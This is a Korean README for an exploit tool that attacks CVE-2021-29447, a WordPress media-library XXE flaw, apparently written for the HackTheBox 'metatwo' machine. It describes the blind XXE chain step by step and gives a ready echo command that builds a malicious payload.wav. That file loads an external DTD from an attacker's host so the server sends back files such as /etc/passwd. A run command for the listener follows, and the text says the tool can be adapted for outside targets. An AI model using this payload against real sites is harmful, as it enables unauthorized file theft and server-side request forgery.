
CVE-2021-29447 기반의 임의 파일 읽기 컨트롤러
이 컨트롤러는 HackTheBox의 metatwo 머신에서 CVE-2021-29447을 악용하기 위해 만들었습니다. 이 취약점은 미디어 라이브러리에 영향을 주는 WordPress XXE 취약점으로, 영향을 받는 버전은 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11입니다. 미디어 라이브러리 업로드 권한이 있는 인증된 사용자가 악의적인 wav 파일을 업로드하여 원격 임의 파일 읽기 및 서버 측 요청 위조(SSRF)를 유발할 수 있습니다.
이 취약점을 악용하려면 성공적인 공격을 위해 여러 단계를 거쳐야 합니다. 파싱된 iXML 메타데이터가 사용자에게 반환되지 않으므로, 이를 악용하려면 블라인드 XXE 페이로드가 필요합니다. 이는 공격자가 제어하는 외부 DTD(Document Type Definition)를 포함하고, 공격자의 리스닝 서버로 연결을 되돌려 받기 위해 악성 wav 파일을 생성해야 합니다. 이 단계를 완료하면 wav 파일을 서버에 업로드하고, 페이로드 파일(예: /etc/passwd)의 base64 인코딩된 내용을 포함한 HTTP 요청을 받을 때까지 기다린 후 base64를 디코딩합니다. 이 컨트롤러는 이러한 여러 단계에 대한 모든 솔루션을 제공합니다. 컨트롤러 $console > 에 파일 이름만 입력하면 됩니다.
자세한 블로그 https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
참고: 이 컨트롤러는 HTB metatwo 머신에 완전히 구성되어 있습니다. 외부에서 사용하려면 스크립트를 일부 변경해야 합니다.
payload.wav라는 wav 파일을 생성합니다.
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
main.py를 실행합니다.
python3 main.py listen_ip
